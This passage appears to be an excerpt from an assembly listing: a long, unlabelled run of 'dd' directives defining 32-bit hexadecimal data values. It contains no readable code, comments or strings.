93FBBE40h, 73003FCEh, 0DEF6A3ABh dd 3DBB6A08h, 4380A616h, 8B1A23D8h, 6C00B2F0h, 449CB91Eh dd 12D96AFFh, 0B950533h, 1383CEA3h, 0AA800C71h, 0BB003459h dd 9310FB2Ch, 7BEB43A0h, 0BD4F012Ah, 64FD2968h, 0DE17F89Eh dd 0F80057F8h, 4327803Dh, 1C1218EEh, 6CD6B1h, 99D066D7h dd 1D7B8C26h, 0EA0159EAh, 96359C54h, 0FDE8BDF7h, 0D0620066h dd 0A4BCD4C9h, 343C91BAh, 0F40B0019h, 940DCDD5h, 2DAC0065h dd 2B0CC54Eh, 0BC0015EEh, 11F84A30h, 8B555Ch, 82B39E56h dd 365EDF39h, 0AE5F5B00h, 13ABDD6h, 7D9B141Ch, 440B82CDh dd 7A835717h, 0BBC84720h, 4033367Ch, 0FF24B83Ch, 0FA1E11B0h dd 1B1D03DFh, 5575F2B2h, 41CCA4B0h, 62874900h, 0DE26F367h dd 0F84E0019h, 0D8DFFDE9h, 18007E73h, 0FF43B384h, 1DC01C0h dd 0A555E76h, 0F840E929h, 5A0BCD18h, 80A6649Ah, 70E24E5h dd 33DC03B9h, 0B445F81Dh, 302A2900h, 0EA04A5CCh, 0A0BA07E9h dd 0B0B1F388h, 0D91760CBh, 8C165603h, 9795513Dh, 9201F490h dd 0ECBD00FFh, 67D84D02h, 0EA002370h, 98D3195Dh, 1A5194h dd 0EF4764EBh, 27209160h, 0D0B43350h, 765EA317h, 68D315h dd 0C074A883h, 30A295E1h, 1C305F60h, 0B0006E2h, 0B10FCAD7h dd 18D87784h, 38C46A3Ah, 0B74867E4h, 71721E2Ch, 6082B940h dd 0C8BEE7h, 0F4DE0995h, 589C2777h, 0C28EA800h, 0F64F45A0h dd 0F4D001Ah, 93B15370h, 0D90035ECh, 8F3AF77Eh, 1EC86B23h dd 0C1390FE7h, 6AC75CE1h, 92A5D855h, 0C0388224h, 0FF081D00h dd 37328494h, 73B05E1Ah, 58A05BCDh, 0FB3046E7h, 24FE90B3h dd 13DB0379h, 74B016DAh, 1EFD1900h, 2AAE5E8Bh, 0B4CA0035h dd 0A6459539h, 6B2B780Eh, 29001827h, 0B9BC66Fh, 888E507Fh dd 613E006Dh, 2FD3C74Eh, 0B7005DE1h, 9EDEB68Bh, 13470703h dd 5127A66h, 40296C74h, 0FD52DAD0h, 0D600AC95h, 67D21C1Bh dd 6A75A4h, 0D8F07CDCh, 14185A9Dh, 82CA7D39h, 0BDF6B17Bh dd 0DAA8A0DDh, 6714F89h, 6E789CFAh, 0CB01A0B4h, 8BCE3106h dd 6AE2C012h, 0C07D754h, 360C7094h, 0A8C0D8ADh, 21175441h dd 0B8DE5813h, 43450A7Bh, 0C0DC6048h, 9F035FDAh, 5352CC01h dd 0E7A1342Ch, 4E9BBC40h, 0F7571480h, 6B00846Eh, 0AE6A3168h dd 5800B9F4h, 0DA946660h, 3C56746Fh, 0A385802Bh, 0C0968165h dd 85060226h, 6BA40300h, 4CA611BBh, 0E147670h, 40CB1A39h dd 0E28B1240h, 7A07F262h, 9A0BE44Fh, 0AC98BEA1h, 2204D46Ch dd 86FF426Dh, 4400D914h, 0DEB0BC58h, 6079FB9Fh, 6E7B1E66h dd 14986993h, 0A7FEC01h, 23725049h, 5C2B047h, 0A2204059h dd 4847210h, 345E3E9Ah, 65A88C29h, 3326701h, 0C0DB41BBh dd 0FD8020h, 0FE42577Ch, 609448FCh, 0E60A7C90h, 0F077DCFAh dd 0B9E4981h, 0B98026ECh, 7BC90EEEh, 564CAA8Fh, 34BD02F3h dd 98350DC0h, 492238D8h, 0AA0B3C87h, 0E807D44Bh, 28A079CAh dd 6C123DF4h, 0FD2B8C02h, 4895B7B2h, 0F850AF8h, 0E07A8AFCh dd 6B594098h, 0DCA66502h, 80B41FD3h, 48364DA4h, 19750EBBh dd 9BC33E89h, 32C2ED97h, 0A82D1C40h, 6C9F7104h, 580247Dh dd 0F421C0D6h, 3CF41581h, 9507B8CFh, 60E08B17h, 0FBEFD5E9h dd 5580F31Dh, 1BF1A880h, 0C0A04AD1h, 3B991289h, 0F30E9AB8h dd 988E353h, 0B99C2033h, 569297DBh, 3E7CC87Ch, 0C280A26Eh dd 862D27CBh, 66005675h, 359812FCh, 0B5EF1h, 20E321F9h dd 8C78B887h, 30096A24h, 76730EB8h, 63E5A327h, 0B08F926Dh dd 8BC15AE4h, 64CBF4h, 0DF0BA246h, 60266BC1h, 5706A8D9h dd 9618D8ECh, 7DD9F42Eh, 9B4B72A8h, 0B0AF8094h, 1FF15502h dd 73013974h, 18AB131Dh, 1C22315Ah, 80B2FB02h, 0C469F971h dd 43000E81h, 9F0B09AAh, 8000B597h, 0CF94769Ch, 1C164714h dd 2120AEh, 7818458Fh, 9105D40Dh, 0D1EF7D39h, 0FBDDEC00h dd 3ACB76h, 19125C55h, 0EB8118E0h, 0E1097300h, 0F016D405h dd 0C2CE1244h, 0EF5400C0h, 261CF931h, 9C003C72h, 85E130A1h dd 7B3750Fh, 35678BD3h, 0A6590DEh, 690501DAh, 42C5DB12h dd 0B493B080h, 2D9D2E74h, 0AA730003h, 4443025Ch, 0A466804h dd 0B890CF5Bh, 15D1C9Bh, 0B53F95B9h, 0D8E5947Ch, 8000AD4Eh dd 38D71F2Ch, 76691E26h, 6BD600BEh, 53C8686Ah, 743F1915h dd 8F123D1Ch, 60A680B3h, 708E0514h, 688A04D1h, 90B4E601h dd 3A82E3D8h, 0E1141E7Fh, 858C6F6Ch, 0F0470811h, 0FCA0F7FFh dd 2A943Bh, 0AE43D648h, 0BCF213B0h, 0C4F4452Ch, 20FB428Fh dd 3C799D6Ah, 0D0C800F0h, 8740A996h, 0E07CF9D4h, 70F38300h dd 2478DBEDh, 8855001Eh, 22B2E4DAh, 411C8A2Ah, 541D6D16h dd 156E80C0h, 0C34DC4Dh, 66D495ABh, 5D00F846h, 0BAF4A34Ah dd 0B83C3A11h, 759A1877h, 0FA4820F0h, 0DCF83000h, 0F1A6A8D7h dd 48249A64h, 0B30018E6h, 19A18BB6h, 6803FDA5h, 95AF53C6h dd 74C1E844h, 7090527h, 0D29182h, 0D329CC80h, 72014D86h dd 0B5EAB7A1h, 0F0D4D5C6h, 1CD00155h, 0C2CD4E8Fh, 0C0306461h dd 803CC4B1h, 58EC1B6Dh, 58CB9CBh, 0F8FC13E2h, 0E740C863h dd 417F8300h, 6FF1E467h, 292E005Ah, 0A9A8E80Dh, 0FA02C32Dh dd 0EFEB2B58h, 446438h, 0DBA59E8Ah, 0CAC5DA6Bh, 0A68CDD3Dh dd 0CD860849h, 0C1B6BD5Dh, 0A9E58AC0h, 2068EABFh, 0C49A96BEh dd 5BB57E07h, 44302425h, 2C02A74Ch, 64D4DF7Ch, 57E831AAh dd 98A038EAh, 0F7CCB4Dh, 0ECE8C021h, 10A6858h, 85B44A93h dd 0ECAA8E75h, 0EC9ADF37h, 53E6C21h, 9C6889FEh, 3900F7C4h dd 0B9D1CE8Bh, 9A056693h dd 0B3151724h, 0E4B81186h, 5C60C1DEh, 20184F75h, 27DDB7Ch dd 4C58FA5Ch, 1DC40F58h, 0C0C100E1h, 5B718BFh, 3CA23EE8h dd 78649C11h, 0A9008EEAh, 0FB3ED961h, 9ACB9077h, 0A3962144h dd 8F013424h, 766C9816h, 2672C2CCh, 1082EF1h, 7420B8D3h dd 0DFBDD8B1h, 14DB3A25h, 0C1572218h, 0D6717E00h, 0ECE050C5h dd 6263F9Ch, 60E91Fh, 101B4A8Bh, 7001985Fh, 6389F38Fh dd 0C0408A6Ch, 144BB0h, 0CDE694A5h, 0C0472A39h, 1D0317F2h dd 20CB8D61h, 2C3AE02Dh, 0CD321630h, 18CA187Ah, 815652BBh dd 0FAAA014Ch, 1C89762Dh, 0F0022028h, 886F6E23h, 0CD4BC68h dd 55672B03h, 98251BEAh, 5D165Ch, 93BC3FE4h, 442447ADh dd 0A8A42100h, 2BDA6D4Fh, 907F00FFh, 27D79408h, 0AB0077B5h dd 5887918Bh, 1BB3701h, 0EEC0F8B9h, 409BE0A6h, 9E8138A4h dd 4E002FEh, 0AEDA1600h, 8F447283h, 0DD7B03FEh, 6C20D755h dd 225CD000h, 0C4410AB3h, 4C3E3A42h, 15586700h, 0D8A3191Ch dd 77515C94h, 1C6CC8FEh, 0A1799Eh, 871B7F0Ah, 0C47B45FCh dd 39054890h, 620C5007h, 5F2800Fh, 0C0009C65h, 816A54F3h dd 2BEF198Ch, 0D534202Dh, 4F3880BFh, 0D5035432h, 0E70237A1h dd 4E0B3068h, 0EE03728Bh, 3714B4F2h, 50FE13h, 0BAFD8A96h dd 0A668A8C2h, 86DC4600h, 609AAD66h, 0A0640749h, 6F287F25h dd 20B502E0h, 1C006C22h, 55B18CD4h, 71D0A0D3h, 83101DCh dd 0C315415Ch, 0CE1C3475h, 46B3FB00h, 9C428658h, 0EF0A3F07h dd 54743480h, 6962BE23h, 378BFB00h, 0D97A48ADh, 0C89F0005h dd 47F58C2Bh, 5000FEE8h, 2E2954DFh, 5437207h, 0E72FDE2Dh dd 1454C04Ah, 3F2EAF81h, 80BF04C1h, 95D53E9Ah, 4CBBA178h dd 0DD0070E6h, 1B1F4DAAh, 0ECEB2422h, 6C00B747h, 0F8F39353h dd 0E4951D16h, 912C1DD2h, 0C1DC8072h, 0A94A5570h, 0C326EC12h dd 5711C91h, 77E0D9DDh, 3A60038h, 83FBDC47h, 0ED006818h dd 0C660800Fh, 66F7B6Ah, 9DB2BA6Ch, 0BCF240C4h, 4CA4000h dd 98D4B1F6h, 5D4907B3h, 9173649Ah, 0C4995F16h, 0D93B6D6Ch dd 3977701Eh, 0DBEF1300h, 0A25814DDh, 0C7980086h, 3FDF95B4h dd 0C539821Dh, 0BCEC80ADh, 212FE1AFh, 86660036h, 5518B505h dd 7600C3B9h, 0EC48939Eh, 1E5265F3h, 47256F2Ah, 0F1688D22h dd 0E804B3A5h, 9B00C46Bh, 0B0665220h, 25CDCFh, 0DE278ED1h dd 0A9872854h, 33DC2300h, 0DBE0838h, 0E9F29Eh, 57FBD82Bh dd 0DB872D5Ch, 0A3E58E00h, 53A21D04h, 44B00062h, 31A68C1Bh dd 0DE002CD1h, 0BEFA9C5h, 5EB961h, 93B13437h, 1224F6B3h dd 5DA8CD02h, 72ED6B69h, 0E8B00038h, 0E9365A89h, 0F376AADEh dd 9A753377h, 61C06812h, 6244E700h, 5F98FCh, 0ABEC0A34h dd 2A417826h, 9C2F7F00h, 0A093FBB8h, 0E8F90013h, 3153A370h dd 909CB90Bh, 2CD612BDh, 88588081h, 12FFB1D4h, 400B56B3h dd 21152EE8h, 54F8A30Dh, 0DA931D02h, 8071DE9Bh, 496C1ECh dd 706400A0h, 110A7F74h, 3800DC48h, 0A3D7E9F8h, 0CC888Ah dd 0B73B2C58h, 2F8320E4h, 8D6046F0h, 17033F7Ch, 36FCE1h dd 7FBC1891h, 6B876F72h, 96012790h, 5AC10878h, 0EC30B909h dd 14BF007Ah, 9207CBAAh, 96032095h, 1D5D3603h, 0A5D0F770h dd 603866h, 4591F2B3h, 9BA2CB09h, 4F476F00h, 0C525D6F6h dd 0A77B0028h, 67902268h, 496033D9h, 43EC2334h, 1B0E0510h dd 1FB5F04Ch, 80CC9E84h, 8E904866h, 297B01CDh, 3AC55D20h dd 1FFE3A5Bh, 3D8B4FEEh, 0EB7DD680h, 0E25726Bh, 0E6D01000h dd 2F3B832Eh, 0C8C60080h, 7926AFD5h, 41004AF1h, 9FD3844Ch dd 4C804053h, 7B00F07Fh, 3DAFD9FEh, 0ED724102h, 0F9188400h dd 77DFDA13h, 0A4110494h, 80E089ECh, 642C099Ch, 7C1CFBECh dd 0ABC2B2F2h, 80F531BCh, 0E8E56F0h, 0C3751Fh, 7ABAD02Dh dd 0B1F0374Eh, 0FB58F100h, 8007C208h, 0C185036Ch, 20907967h dd 0AC3BB498h, 92654100h, 9EC0C43Ch, 1B690070h, 76E1E80Fh dd 3A3BB259h, 0D24D8014h, 49936891h, 645A181Eh, 667B4983h dd 45A3180Ch, 0BB104Bh, 508588A6h, 0B26AD86h, 136F3E00h dd 0B5D57B63h, 1BF03C70h, 3A0EE45Ch, 0C0846744h, 94AE42E6h dd 4FA4C8E0h, 3389006Eh, 25E2878h, 4C709BF8h, 9E0AD678h dd 0E046BFAAh, 0E5062100h, 5E715B88h, 0AE08003Fh, 0D4B2D0B6h dd 9A4D8500h, 0EC9DF28h, 3C9600C0h, 8FF3EBD3h, 5500A632h dd 34C618FCh, 951D7953h, 0F83D4CE0h, 0CCE1C00h, 2CAC77D3h dd 6DE0034h, 240D50C2h, 0B12EF2C0h, 0CE83CC4Fh, 0C03C16BDh dd 1D23B22h, 954159EFh, 83170CB3h, 8D943E90h, 0CA31004Eh dd 0C119B691h, 1818B349h, 0C0B81E60h, 0F5B82631h, 97760698h dd 8FF42079h, 2B00A3E8h, 729322F7h, 5D9EB54Eh, 151FB4B2h dd 0C0DF1F50h, 0D208633Bh, 0D618C2B0h, 0EA4076B1h, 93D714C0h dd 0B8145878h, 9A004CF7h, 0A15AEFE2h, 6F004720h, 0B3261D1h dd 0E127A0Eh, 3433664Dh, 79721360h, 2D004002h, 9777CBD9h dd 30AD3520h, 53595176h, 231CD584h, 0B143B9C1h, 0A3B689B8h dd 15210044h, 91E3D35Bh, 0E00AFCAh, 1619D509h, 1137C8Dh dd 3F9D4D9Fh, 0F0DE2BE5h, 8E1B3411h, 0D0E9B39Ah, 0FCB02EBh dd 18290F30h, 80AD0959h, 223FE21h, 0C6F89A4h, 699EAFC0h dd 1CEEB448h, 62F0C92h, 0D7BC00BCh, 1C62BC4h, 523CA5FFh dd 2CD4AE53h, 8F33077Ch, 150034D9h, 6F293F4h, 0A0BF1281h dd 8A00494Eh, 0AE0390BDh, 6EC7F4Dh, 25B0C572h, 0CCFE7AB1h dd 66BAD750h, 213E31C7h, 15BD2341h, 0EC6F1180h, 0F23BAD8Eh dd 9442EF19h, 8C6C8B09h, 8EEE0F01h, 0CC73476Ch, 0EA06DDFEh dd 0AA9AE024h, 770307F1h, 0E091B331h, 374740D5h, 1EDC6502h dd 0E18DFFBAh, 4AD13E36h, 44768452h, 5DD0700h, 81D979E3h dd 485327EDh, 48C85B8h, 30CC02B0h, 12FD38B7h, 3BC0228h dd 0C4145FBEh, 0A48AA088h, 0D2BF4D1Dh, 22CD9E40h, 0E2B265h dd 0ADC2C79Ah, 8C898E3Dh, 72606B00h, 58871036h, 27650733h dd 20CA9FF9h, 79844A1Eh, 59179B00h, 0B2E92589h, 0CF960010h dd 2EC0AB40h, 0D30508E8h, 9BE2BA66h, 4A4EC3h, 0E4573930h dd 0CFC86EECh, 0B3B78B39h, 7C0897h, 0EC878A21h, 0AB208C54h dd 0D2C17A01h, 4628F5EDh, 64253700h, 2D92D500h, 0BBCCE3Ah dd 0FB4EE70h, 0A633171Bh, 0CD202120h, 4903F7DCh, 0B84A522Ah dd 5F600050h, 0A067FB6Fh, 0A8734B36h, 2E796963h, 0D261482Fh dd 0D10C7307h, 742610E3h, 6F24F385h, 3700EA33h, 8D3BAA9Bh dd 53B90116h, 0E2A9F588h, 891ED840h, 20496100h, 17BA0A4Bh dd 56313043h, 74E17B59h, 0BB032998h, 6B204A16h, 7F48A31Dh dd 77B90021h, 0A8C11F65h, 81E61687h, 0BE3E50AEh, 0E3360059h dd 9589C7FAh, 0F44203B9h, 415FE663h, 484417B9h, 770FBA3Ch dd 0B0D318B8h, 77F2E0B0h, 27E3D0Fh, 0C4C36FD3h, 0EC00510Dh dd 137B7A44h, 4D63101Eh, 0C0DA9C00h, 3A14E4EDh, 280030E5h dd 58112740h, 0A12037A8h, 44D9A09Ah, 0D781A05Eh, 0E677E1h dd 85DC071h, 3024A74h, 415CEA01h, 99A0184Eh, 2E373980h dd 0B481A7D7h, 4DFC700h, 0EF9E116Ah, 1A9102ECh, 341069E5h dd 7E17C480h, 8C6AE48h, 0F841232Dh, 71FB5868h, 4FB63F0Ch dd 0B3001928h, 0B25AE416h, 3AB42B37h, 0A303693h, 16BAF6E9h dd 8AE7DF01h, 55943F8h, 0AE8C0EAh, 1255FC03h, 47A538B0h dd 0A2E300h, 5A8DB801h dd 0DB8E9A01h, 320D0F41h, 1BEC20E1h, 0E4D100EBh, 45DD1152h dd 58EC2D3Ah, 9B563417h, 779C018h, 75E10004h, 147BC069h dd 10EF842h, 20FCB5ACh, 0BBFE98A1h, 7A3424A8h, 40AA4404h dd 72A6087Eh, 239F0088h, 0F4F518D9h, 8300F9BBh, 0A27DB0CEh dd 987AF178h, 0C0AF0173h, 980CB2E4h, 0AEC88ECBh, 77E8E01Ch dd 3CD06F8Ah, 47CC8D38h, 74B3A80Ah, 33C686C8h, 500F979h dd 3B5730BFh, 44EBB1h, 5914D6FBh, 0B446DC73h, 0DE5B0400h dd 7B5FB8E5h, 32AB2AAAh, 5D2858D4h, 99FA7006h, 476060BFh dd 6520C0D1h, 64E6002Fh, 0F1D06B77h, 0A10A2185h, 94093FD8h dd 0B8AD6780h, 80A9Fh, 0BBD30BAEh, 4E6B1FA4h, 80A0293Ch dd 0B18F5F28h, 1311B97h, 0A87ED751h, 0D046C84Fh, 0D60159E8h dd 0AD87BD34h, 598002C6h, 1E29F211h, 53F92870h, 3880B1ACh dd 543FA5D2h, 1999B02Bh, 45F6F5h, 5561B528h, 0B3FD4DDCh dd 64275F00h, 4AE5E13Eh, 0FA5800B9h, 0A3291D15h, 59307B4Fh dd 0D3E28AB1h, 0F5070FCCh, 4763F15Ah, 5790CE29h, 3005E008h dd 32236094h, 4C1A046Eh, 41E4802h, 18DFBA3Eh, 3F105368h dd 614E73D8h, 0EB75095Dh, 61B8C8B7h, 4250D9E5h, 0E803841Ch dd 0F081449h, 0EA8F200Eh, 0E38E2380h, 80CB85Fh, 0D170032Ah dd 50288B33h, 8F281863h, 0C8314CDFh, 6095094Dh, 1C5A5847h dd 900D388Ah, 964DC74Eh, 946E50FAh, 60A97C10h, 4209BDD0h dd 0B0AC70D8h, 6620B748h, 65C9E981h, 30BC09F0h, 0E682501Ch dd 410870DBh, 141144B0h, 0D18CC9CBh, 7318CC30h, 684C9652h dd 6BE05011h, 0F93810h, 0E9E4CA73h, 514E5FABh, 4941ECA6h dd 9F6BC641h, 9B482E1h, 0FC043A21h, 64192837h, 57D529C0h dd 0AD9500C4h, 50CD24FCh, 0BFF3A00h, 2D0D1CB1h, 0E40E4416h dd 0D075BE01h, 3ECD7028h, 0FF7100FEh, 38C0C6CEh, 24F9549h dd 406E495Bh, 14B0C50Ch, 0BA00DE49h, 621750CCh, 0F6CFFF51h dd 0A7342432h, 0A383B99Ch, 63023940h, 0B7619800h, 3864BBC0h dd 0B4302892h, 0CCBC1834h, 1F2249B8h, 80CD123Ah, 0F9B10E13h dd 0E8B26306h, 0C0E807h, 3912A8A4h, 95378CB0h, 4E893818h dd 308D82F9h, 4F085F48h, 0F8F17503h, 46615B08h, 0CF9B0C1h dd 3B03519Dh, 3711F100h, 0BCCB0960h, 16333400h, 0AF3F43F2h dd 6D323CCDh, 96496300h, 71C06184h, 19799506h, 1FD96621h dd 80B1FF02h, 162CB9F5h, 0A5319A1Dh, 5C50E8BCh, 0C310130h dd 47E39323h, 6A003289h, 3F480688h, 7C337483h, 0B9E30E54h dd 5C8A9231h, 0F4E007BCh, 65C281D0h, 0D1C19454h, 0D9490F88h dd 89381824h, 47B507EAh, 9CBCF744h, 69CC4530h, 0DC61E00Ah dd 29BD8EE8h, 0CFD04052h, 76326AE4h, 4CEBBF04h, 4829A43h dd 8C1080CBh, 393930BDh, 0A1E10F04h, 470847FDh, 18AC2AB0h dd 0E8C79975h, 0A0DD902h, 862AA083h, 49509998h, 392B2C62h dd 0B0A0A8h, 605DFF67h, 0FAAD4464h, 156CE449h, 1804B5Bh dd 8E11C043h, 0B84A2623h, 0C8BBBD10h, 50589EB5h, 785C000Ah dd 0B8084DB0h, 0C9820084h, 0F99D505Eh, 3901556Eh, 3DB70A05h dd 3C72F89h, 3294B958h, 2DB8F73Fh, 6077992h, 580D1F83h dd 211205C0h, 0D62E00BDh, 558D3B54h, 0AF003851h, 854CB07Ch dd 3199C70h, 31297E07h, 0F81D76DEh, 60F00389h, 0B2AA48FBh dd 0A021F050h, 80089C90h, 0A4988CCCh, 88B5B883h, 481F3330h dd 29D18D09h, 1D3CD840h, 0AC4CF50h, 508C1A4Eh, 0FB80BA51h dd 0BBC420B7h, 558C0C91h, 7C8281B8h, 0D34F09EAh, 301470C2h dd 298BAA35h, 34C22C1Ch, 84324F40h, 0CD04514Ch, 0ECC05941h dd 291EF198h, 1003A8Dh, 335CBC8Bh, 2483C5Bh, 153568CEh dd 8086844Dh, 9400412Ah, 0F6343CD7h, 66527696h, 294C9151h dd 0CF056042h, 3E273Ch, 4435073Ch, 58A485D9h, 0FA772B7Ch dd 22893F14h, 0D6978048h, 931785h, 1686FD79h, 0D4B345FAh dd 0F6326F06h, 220E08Ah, 0BC5F3C5Ch, 0B841259Dh, 0A8161365h dd 664D486Eh, 79361839h, 0B30CE0E6h, 7115BA3Dh, 660F2472h dd 685914C8h, 0B010D115h, 79D38877h, 40305C98h, 31F63961h dd 1F047544h, 80D4B534h, 0B94BE8C8h, 691CAB0Eh, 8CA8D035h dd 3228CC22h, 3210C5D4h, 353EA02Fh, 24032295h, 81A81E76h dd 370CF0C6h, 807FC927h, 0B2F76081h, 18E00933h, 78174D8Dh dd 0CCF0DC51h, 0E33595F2h, 0C818C156h, 1EC17118h, 1F493B8Ch dd 0FD10831Fh, 97894C5Bh, 0C882EEACh, 9880BDF6h, 73C6F1E2h dd 0F96E901h, 0C77D04B9h, 1D6FC30h, 7F3494CDh, 809A364Bh dd 0E9E24FB0h, 264A6CC4h, 14F04C7Eh, 49C08C32h, 74693EB4h dd 35CCB5A0h, 4B848D00h, 0CD0D9948h, 507A601Ch, 237E03BCh dd 0E8E53331h, 5060AD36h, 55F12D2h, 9C5C14A9h, 0BD14491Fh dd 0BE765062h, 0B1009C64h, 15F53870h, 13D7D0h, 339B451Eh dd 12363CC6h, 0C22A3C98h, 0C4C7B428h, 1E73B760h, 0B0C6C06Bh dd 28226088h, 0D2722DDEh, 33D98403h, 165004E6h, 68A4E918h dd 0B8025EECh, 0F3C80455h, 61948285h, 0BC90C012h, 0C73B049Fh dd 80F095B0h, 41F517F4h, 4704B50Ah, 0BA03ACC9h, 3E13243Ch dd 9E03B230h, 0BD0E22C2h, 75E7D480h, 174E441Fh, 85BE5489h dd 2843C810h, 4D58AADFh, 86AB019h, 4DBB0320h, 0A90E5E36h dd 540449BAh, 171AC060h, 6B89073h, 0B0CA379Fh, 1D0859ADh dd 20BDEFB2h, 0E1280090h, 73034E97h, 17282591h, 0B4C48C2h dd 0CCB9150Ch, 0BB09157Ch, 60783C08h, 3DD6E279h, 96F1C105h dd 50C2F2FFh, 9468CC84h, 49280892h, 0F549C23h, 0FF92848h dd 8604B806h, 0A40C48C3h, 3974A8C7h, 1F8FEC93h, 1885F08h dd 0D3647622h, 0CE5440E8h, 0BA509543h, 36F4D018h, 0D40A2F75h dd 50CC2A54h, 0E93B6406h, 0DE830039h, 16EA3396h, 0C45439CAh dd 5E1586CCh, 8CFDC7h, 0D8556D0h, 90C9AB52h, 423E44F8h dd 13C85E4Ch, 540105A1h, 2B7643F0h, 4CF66824h, 0C07E4427h dd 639D9311h, 2A7C3B8Dh, 0D94FBC03h, 40FCB75Eh, 8890DC69h dd 0C73A8F17h, 0B17E8677h, 0E8190E91h, 946017E0h, 0F1383195h dd 0B622E458h, 29984063h, 30281E17h, 6B4A428Fh, 0C84045A6h dd 0A554CCBDh, 4403E4B0h, 1FBC8017h, 6C75A814h, 0BE4D09ADh dd 408274C6h, 40084F5Bh, 50964054h, 90DF4223h, 6005033Bh dd 130B1332h, 7DF0C18h, 0CB098188h, 0E6CC1411h, 58CFACA5h dd 0CB1CB854h, 1037BCA1h, 907DF60Bh, 5F173044h, 151FE240h dd 0B080160Eh, 0B1A94CC5h, 30B73961h, 95106DA6h, 18080C0Bh dd 8C906E11h, 7B1ACCFh, 2DC56FB8h, 0EBEE0C1h, 1CF3CD8h dd 521CBC06h, 303D715Ah, 66301B70h, 9340C964h, 0D6E70E6Bh dd 0E3230AA4h, 4BAB108Ch, 5AF72100h, 7688C170h, 0C3F40027h dd 68B94F78h, 40153F8h, 3D6E5216h, 0B040A287h, 0A42530F6h dd 6B9D0430h, 6794D6E9h, 2118A0E9h, 71157065h, 0FA5E00E2h dd 6C6E7DFCh, 0B024D4B9h, 7007CC3Ch, 68BD82FFh, 69BD4835h dd 978065A1h, 84D6AB6Bh, 4944860Bh, 707F0B23h, 0F002E3Eh dd 71A8E674h, 0F1F5B0Ah, 340BA014h, 9A09C6h, 80DFBCE8h dd 209937h, 461007A2h, 6E0D24EFh, 823882Ah, 429100FBh dd 0A16B552Fh, 0C500E3C9h, 0DCF3E9FBh, 2C9DE0B3h, 9860A9DDh dd 73503197h, 7C2EA00h, 0FC29A18Bh, 27F0524h, 8130D912h dd 4058B638h, 51B3BCD8h, 9D08F400h, 0D6D2FC04h, 0AA980020h dd 3E8DA49Eh, 55C7771h dd 7C551C03h, 78FAA0C0h, 0C0B2C9h, 776BECF6h, 0F8F45492h dd 79445B03h, 0FFC9FF4Eh, 8717A460h, 77467BECh, 8275F6h dd 0EB02640Ah, 38E3CA42h, 7D980C0Ch, 0BE6967h, 8B0640F1h dd 3E599050h, 297CA273h, 393E417Eh, 0D9F61E8Ch, 0C334E9C0h dd 6075D6E4h, 1CE1193Bh, 603E3ABEh, 9842000Ah, 0F1022E3Dh dd 0C74B008Ah, 941E2A9Fh, 0E93EFC10h, 6900F491h, 1B0892EEh dd 3432023h, 7F8C9811h, 0CABB446Ah, 0F81097C9h, 0EB015FA9h dd 8D1DD8A8h, 0E060CB8Fh, 186A0065h, 901A68D6h, 6900D139h dd 0BB8C8EBEh, 9C450Fh, 0DE4AFC41h, 80528DAh, 0CA1C300h dd 1885F867h, 0BEEA2Fh, 0EF844293h, 4F5CE76Eh, 430B8200h dd 22B0AE98h, 0EFB0653h, 311BB96Ah, 8EE99400h, 9D4971DFh dd 0A62801DCh, 6105B14Bh, 5F2FCC85h, 25665E00h, 0F8BE6A01h dd 0DD2300AFh, 0DE7DA5F3h, 69015135h, 0E7BA3BBFh, 588C8ECAh dd 3961D6B9h, 8087A438h, 3E6DC5DEh, 36F6AEB1h, 5021194Ch dd 84DD0A01h, 149BCAA5h, 6D828E0h, 0E65EEFACh, 30029C5h dd 0E1600AABh, 0DCBD58h, 0B78943ACh, 1357E3B2h, 0D63F9D00h dd 6FFFF71Eh, 7B5801ADh, 0EEE94FCAh, 7B6C009h, 1154EA1Eh dd 849DD7C2h, 167660CFh, 0A7CC0EA9h, 63204F1Bh, 0DC03089Bh dd 891EC9C0h, 8C2B3Ah, 8FDF8AD2h, 376653E8h, 0DEE7F00h dd 0E43998A4h, 91D20FB0h, 21A34BB3h, 592A3FAh, 68D79883h dd 500DC1DBh, 588F2604h, 3E5A6FCCh, 2C00A0F1h, 9F9C17B3h dd 0F400B046h, 0E6D97E1Dh, 688D38h, 5911E388h, 54A9AC2Dh dd 35602274h, 894B3B21h, 73DA0306h, 4037025h, 325481F0h dd 0A23E14F2h, 26E600D0h, 28AC1E55h, 18EEB6h, 29081B5Fh dd 75C56A64h, 106D3A3Ah, 0B5002A23h, 82D819F9h, 6600EA0Ah dd 0BDE1582Eh, 72E82F77h, 0D688067Bh, 884B8025h, 216F60C4h dd 0F619FD30h, 0C3742238h, 6B002422h, 0B5E2FE95h, 14F29Ah dd 0CB72B4B9h, 5E825946h, 0EE8F6203h, 1865647Bh, 382D3868h dd 0ED180927h, 0BF69C657h, 69A8018Bh, 86B9223Fh, 7F58E867h dd 970C4003h, 8AE8A6h, 0BC27E540h, 66243B0Dh, 8F58C600h dd 0B0DB7153h, 60E9608Dh, 0F4DF1096h, 96A2F09h, 0C2C877Dh dd 219046h, 0FEECD97Fh, 33F031DEh, 50669307h, 89E285DAh dd 0A06DE1DFh, 0B2EDE040h, 0F0987B07h, 0E6EB5827h, 0E24FC200h dd 8C08A69Bh, 15D7E3Dh, 0C8032093h, 0C08EFF87h, 29A0FE23h dd 0F48CF8FBh, 0A007D7Ah, 6FDD1C6Bh, 56731Ah, 960C7198h dd 0EC0D55B2h, 3A044700h, 8D8664D9h, 2B2000E5h, 0FDA8D17Ah dd 53003730h, 4D561231h, 78DC3DDh, 3894D369h, 807D8048h dd 0EE03795Bh, 96AC28AAh, 0E508307Ah, 5B88E731h, 6F240600h dd 5A918CAEh, 1DDA0021h, 0A99D71C3h, 0E4075718h, 0DB7ABCA8h dd 0CAC656C0h, 0CB7F02E6h, 1C528E54h, 8AD66F01h, 0A35851DBh dd 0F3BB8180h, 8033F727h, 6017F12Eh, 4C026F00h, 1919D8BCh dd 4456FE0Eh, 80D9E9A6h, 25BD4D60h, 1C32C016h, 0B34A5A7Dh dd 2101E309h, 0DE03EC9Dh, 53D8CC6Ah, 0B6820844h, 0B980AF4Ch dd 219F76E8h, 752837B8h, 32CFA0h, 0F54F461h, 0F103F0F5h dd 3F28BC60h, 1E200FDDh, 51E03806h, 0B518EE4Eh, 7DB0C4F8h dd 950A2500h, 32A5FDC5h, 0ACCB31EDh, 0F8A8D2E1h, 92F0BF51h dd 0C97BF979h, 4DE6E900h, 5D0FBAD6h, 35540C16h, 0F068476Fh dd 9EF2560Fh, 0BEA9603Fh, 0AACBA98h, 94C36F86h, 24A380A0h dd 0C69148C8h, 2783CE01h, 1E37C40Bh, 0C05149CCh, 29454DD1h dd 9A006979h, 61C663E2h, 396B1C5h, 0C397BC6Eh, 